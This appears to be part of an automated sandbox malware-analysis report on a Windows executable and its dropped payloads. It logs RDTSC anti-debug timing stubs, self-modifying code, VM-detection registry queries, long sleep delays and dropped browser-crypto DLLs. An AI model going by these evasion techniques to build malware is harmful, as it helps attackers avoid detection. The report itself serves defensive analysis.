Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 9124D3 second address: 9124FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F892C6C1179h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 9124FB second address: 9124FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 9124FF second address: 912505 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 912505 second address: 91250F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F892C71B566h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 912DBF second address: 912DC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 912DC3 second address: 912E24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 movsx edi, dx 0x0000000a push 00000000h 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007F892C71B568h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 00000019h 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 push edx 0x00000027 mov edi, dword ptr [ebp+122D2EB6h] 0x0000002d pop esi 0x0000002e push 00000000h 0x00000030 movsx esi, di 0x00000033 xchg eax, ebx 0x00000034 jns 00007F892C71B56Eh 0x0000003a push eax 0x0000003b pushad 0x0000003c jmp 00007F892C71B572h 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 912E24 second address: 912E28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 913F3B second address: 913F3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 915A12 second address: 915A2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C6C1175h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 915A2D second address: 915A37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F892C71B566h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 915A37 second address: 915A3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 9160BC second address: 9160C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 916C2E second address: 916C32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 916C32 second address: 916CA2 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F892C71B566h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jc 00007F892C71B56Eh 0x00000011 push edi 0x00000012 jno 00007F892C71B566h 0x00000018 pop edi 0x00000019 nop 0x0000001a push 00000000h 0x0000001c push edi 0x0000001d call 00007F892C71B568h 0x00000022 pop edi 0x00000023 mov dword ptr [esp+04h], edi 0x00000027 add dword ptr [esp+04h], 00000019h 0x0000002f inc edi 0x00000030 push edi 0x00000031 ret 0x00000032 pop edi 0x00000033 ret 0x00000034 push 00000000h 0x00000036 push ebx 0x00000037 mov esi, dword ptr [ebp+122D2F82h] 0x0000003d pop edi 0x0000003e push 00000000h 0x00000040 sub dword ptr [ebp+1247923Ch], edx 0x00000046 mov esi, dword ptr [ebp+122D301Eh] 0x0000004c push eax 0x0000004d push edi 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007F892C71B579h 0x00000055 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 917687 second address: 91768C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 91820D second address: 91821A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 91821A second address: 918224 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F892C6C1166h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 918DDC second address: 918DE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 918DE0 second address: 918DF0 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F892C6C1166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 918DF0 second address: 918DFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F892C71B566h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 918DFB second address: 918E54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C6C116Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov dword ptr [ebp+1245282Bh], ebx 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push eax 0x00000017 call 00007F892C6C1168h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 add dword ptr [esp+04h], 00000017h 0x00000029 inc eax 0x0000002a push eax 0x0000002b ret 0x0000002c pop eax 0x0000002d ret 0x0000002e pushad 0x0000002f mov ecx, 79DB335Bh 0x00000034 mov dword ptr [ebp+122D3D3Eh], esi 0x0000003a popad 0x0000003b xchg eax, ebx 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F892C6C1171h 0x00000043 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 91ACB3 second address: 91ACD4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C71B56Eh 0x00000007 jmp 00007F892C71B56Fh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 91ACD4 second address: 91ACE1 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F892C6C1168h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 91BCF8 second address: 91BCFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 91BCFC second address: 91BD45 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F892C6C1166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007F892C6C1168h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 jmp 00007F892C6C1173h 0x00000019 nop 0x0000001a mov dword ptr [ebp+122D21ECh], edi 0x00000020 push 00000000h 0x00000022 mov dword ptr [ebp+1245C233h], ecx 0x00000028 push 00000000h 0x0000002a jbe 00007F892C6C116Ah 0x00000030 push edi 0x00000031 mov bh, B7h 0x00000033 pop edi 0x00000034 push eax 0x00000035 push esi 0x00000036 pushad 0x00000037 pushad 0x00000038 popad 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 91CCCA second address: 91CCF4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C71B56Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F892C71B575h 0x00000012 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 91DD72 second address: 91DD7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 91DD7B second address: 91DD7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 91FA96 second address: 91FAA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pushad 0x00000006 pushad 0x00000007 je 00007F892C6C1166h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 922AB8 second address: 922ABE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 929B15 second address: 929B96 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C6C1173h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b pushad 0x0000000c jc 00007F892C6C1166h 0x00000012 jnp 00007F892C6C1166h 0x00000018 popad 0x00000019 pop ebx 0x0000001a nop 0x0000001b push 00000000h 0x0000001d push ebp 0x0000001e call 00007F892C6C1168h 0x00000023 pop ebp 0x00000024 mov dword ptr [esp+04h], ebp 0x00000028 add dword ptr [esp+04h], 00000018h 0x00000030 inc ebp 0x00000031 push ebp 0x00000032 ret 0x00000033 pop ebp 0x00000034 ret 0x00000035 push edi 0x00000036 mov edi, dword ptr [ebp+122D1E91h] 0x0000003c pop edi 0x0000003d push 00000000h 0x0000003f push 00000000h 0x00000041 push ebx 0x00000042 call 00007F892C6C1168h 0x00000047 pop ebx 0x00000048 mov dword ptr [esp+04h], ebx 0x0000004c add dword ptr [esp+04h], 00000015h 0x00000054 inc ebx 0x00000055 push ebx 0x00000056 ret 0x00000057 pop ebx 0x00000058 ret 0x00000059 jp 00007F892C6C1169h 0x0000005f push 00000000h 0x00000061 xchg eax, esi 0x00000062 pushad 0x00000063 push eax 0x00000064 push edx 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 929B96 second address: 929B9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 929B9A second address: 929BB0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C6C116Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 9173F7 second address: 9173FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 917F9A second address: 917FA4 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F892C6C116Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 917FA4 second address: 917FB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a jng 00007F892C71B566h 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 932BDD second address: 932BED instructions: 0x00000000 rdtsc 0x00000002 jo 00007F892C6C1166h 0x00000008 ja 00007F892C6C1166h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 932BED second address: 932C20 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C71B576h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F892C71B577h 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 932C20 second address: 932C24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 932393 second address: 932397 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 93279E second address: 9327A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 9327A2 second address: 9327B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C71B56Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 91950D second address: 919513 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 91DEB1 second address: 91DEB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 91DEB7 second address: 91DEC8 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F892C6C1166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 91FCD4 second address: 91FCD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 921B4B second address: 921B60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F892C6C1171h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 921B60 second address: 921B64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 922CEE second address: 922CF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 922CF2 second address: 922D04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b jns 00007F892C71B566h 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 922D04 second address: 922D09 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 923BDA second address: 923BDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 923BDF second address: 923C80 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F892C6C116Ah 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F892C6C1168h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 0000001Bh 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 add dword ptr [ebp+122D2CBAh], eax 0x0000002e push dword ptr fs:[00000000h] 0x00000035 push ebx 0x00000036 mov edi, dword ptr [ebp+122D2DEEh] 0x0000003c pop edi 0x0000003d mov dword ptr fs:[00000000h], esp 0x00000044 mov dword ptr [ebp+12455145h], ebx 0x0000004a mov eax, dword ptr [ebp+122D0921h] 0x00000050 mov edi, dword ptr [ebp+122D2E3Ah] 0x00000056 pushad 0x00000057 call 00007F892C6C1177h 0x0000005c movsx ebx, bx 0x0000005f pop edi 0x00000060 and bh, 0000005Fh 0x00000063 popad 0x00000064 push FFFFFFFFh 0x00000066 jmp 00007F892C6C116Ah 0x0000006b nop 0x0000006c push esi 0x0000006d push ebx 0x0000006e pushad 0x0000006f popad 0x00000070 pop ebx 0x00000071 pop esi 0x00000072 push eax 0x00000073 js 00007F892C6C1174h 0x00000079 pushad 0x0000007a push eax 0x0000007b push edx 0x0000007c rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 923C80 second address: 923C86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 51FE55 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6C17A3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6BFFBC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6E87BF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 74FB49 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Special instruction interceptor: First address: 75EE18 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Special instruction interceptor: First address: 75EF0D instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Special instruction interceptor: First address: 92E85B instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Special instruction interceptor: First address: 98E457 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 25EE18 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 25EF0D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 42E85B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 48E457 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe	Special instruction interceptor: First address: 8CDCA2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe	Special instruction interceptor: First address: A7493F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe	Special instruction interceptor: First address: AEED66 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Special instruction interceptor: First address: 16ECDE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Special instruction interceptor: First address: 16C0AE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Special instruction interceptor: First address: 16EBEA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Special instruction interceptor: First address: 38FD70 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Special instruction interceptor: First address: F3FE55 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Special instruction interceptor: First address: 10E17A3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Special instruction interceptor: First address: 10DFFBC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Special instruction interceptor: First address: 11087BF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Special instruction interceptor: First address: 116FB49 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Special instruction interceptor: First address: 2EDBE7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Special instruction interceptor: First address: 48A69F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Special instruction interceptor: First address: 4B0D69 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Special instruction interceptor: First address: 49BC5E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Special instruction interceptor: First address: 517BD4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Special instruction interceptor: First address: 640FE55 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Special instruction interceptor: First address: 65B17A3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Special instruction interceptor: First address: 65AFFBC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Special instruction interceptor: First address: 65D87BF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Special instruction interceptor: First address: 663FB49 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Memory allocated: 51D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Memory allocated: 5540000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Memory allocated: 5310000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsDGCFHIDAKE.exe

Code function: 9_2_05190C9A rdtsc

9_2_05190C9A

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 7344	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7324	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3752	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3752	Thread sleep time: -62031s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2688	Thread sleep count: 43 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2688	Thread sleep time: -86043s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5756	Thread sleep count: 191 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5756	Thread sleep time: -5730000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4544	Thread sleep count: 37 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4544	Thread sleep time: -74037s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 796	Thread sleep time: -60030s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3664	Thread sleep count: 39 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3664	Thread sleep time: -78039s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7740	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5776	Thread sleep count: 33 > 30	Jump to behavior
